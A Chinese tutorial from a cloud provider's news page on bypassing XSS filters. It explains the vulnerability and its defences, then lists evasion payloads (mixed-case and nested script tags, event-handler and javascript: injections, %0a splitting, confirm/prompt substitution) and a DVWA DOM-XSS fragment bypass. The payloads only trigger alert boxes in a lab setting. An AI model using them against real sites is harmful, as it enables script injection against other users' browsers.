溫馨提示×
您好，登錄后才能下訂單哦！
點擊 登錄注冊 即表示同意《億速云用戶服務條款》
您好，登錄后才能下訂單哦！
這篇文章主要為大家展示了“XSS跨站腳本怎么繞過”，內容簡而易懂，條理清晰，希望能夠幫助大家解決疑惑，下面讓小編帶領大家一起研究并學習一下“XSS跨站腳本怎么繞過”這篇文章吧。
跨站腳本(Cross-Site Scripting，簡稱為XSS或跨站腳本或跨站腳本攻擊)是一種針對網站應用程序的安全漏洞攻擊技術，是代碼注入的一種。它允許惡意用戶將代碼注入網頁，其他用戶在瀏覽網頁時就會受到影響。惡意用戶利用XSS代碼攻擊成功后，可能得到很高的權限（如執行一些操作)、私密網頁內容、會話和cookie等各種內容。
XSS漏洞一直被評估為web漏洞中危害較大的漏洞，在OWASP TOP10的排名中一直屬于前三的江湖地位。
XSS是一種發生在前端瀏覽器端的漏洞，所以其危害的對象也是前端用戶。
形成XSS漏洞的主要原因是程序對輸入和輸出沒有做合適的處理，導致“精心構造”的字符輸出在前端時被瀏覽器當作有效代碼解析執行從而產生危害。
因此在XSS漏洞的防范上，一般會采用“對輸入進行過濾”和“輸出進行轉義”的方式進行處理:
輸入過濾：對輸入進行過濾，不允許可能導致XSS攻擊的字符輸入;
輸出轉義：根據輸出點的位置對輸出到前端的內容進行適當轉義;
<sCRIpt>aLert(1)</sCRIPT>
<scscriptript>alert(1)</scscriptript>
<a href=”javascript:onclick=alert(1)”>test</a>
<a href=javascript:alert(1)>test</a>
<img src=x onerror=alert(1)>
<img/src=x onerror=alert(1)>
<video src=x onerror=alert(1)>
<audio src=x onerror=alert(1)>
<iframe src=”javascript:alert(1)”>
<svg onload=alert(1)><body onload=alert(1)>
<select autofogus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<video><source onerror="javascript:alert(1)">
<iframe onload=alert(1)>
輸入script、on等關鍵字，f12發現都被處理了；
通過嘗試發現javascript沒有被處理；
構建payload："><a href=javascript:alert(1)>即可繞過；
輸入script、on、javascript等關鍵字，抓包發現都被處理了；
構建payload：javascr%0aipt:alert(1);(在url中輸入，或者抓包修改也可）這里用%0a或者%0D達到換行的效果，以此來繞過；
輸入alert后被waf檢測到，并且無法繞過；
更換函數，構建payload：<script>confirm(/xss/)</script>;（除了confirm還可以使用prompt代替alert）即可繞過；
在dvwa靶場中，關于xssdom型high難度就是關于白名單繞多；無論輸入什么關鍵詞都會被重定向；
我們可以在English后面加一個#，然后在打入語句即可繞過，（#與前面的內容要加一個空格）；
payload：http://127.0.0.1/dvwa/vulnerabilities/xss_d/?default=English #<script>alert(1)</script>;
以上是“XSS跨站腳本怎么繞過”這篇文章的所有內容，感謝各位的閱讀！相信大家都有了一定的了解，希望分享的內容對大家有所幫助，如果還想學習更多知識，歡迎關注億速云行業資訊頻道！
免責聲明：本站發布的內容（圖片、視頻和文字）以原創、轉載和分享為主，文章觀點不代表本網站立場，如果涉及侵權請聯系站長郵箱：is@yisu.com進行舉報，并提供相關證據，一經查實，將立刻刪除涉嫌侵權內容。
